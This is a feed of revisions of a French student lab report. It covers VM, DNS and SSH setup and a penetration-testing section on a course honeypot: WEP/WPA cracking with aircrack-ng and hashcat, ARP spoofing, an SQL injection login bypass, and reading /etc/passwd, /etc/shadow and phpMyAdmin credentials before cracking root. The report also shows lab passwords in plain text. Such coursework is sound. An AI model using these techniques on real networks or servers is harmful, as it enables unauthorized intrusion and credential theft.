En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55130</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55130"/>
				<updated>2020-12-21T17:25:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55129</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55129"/>
				<updated>2020-12-21T17:21:24Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Services Internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
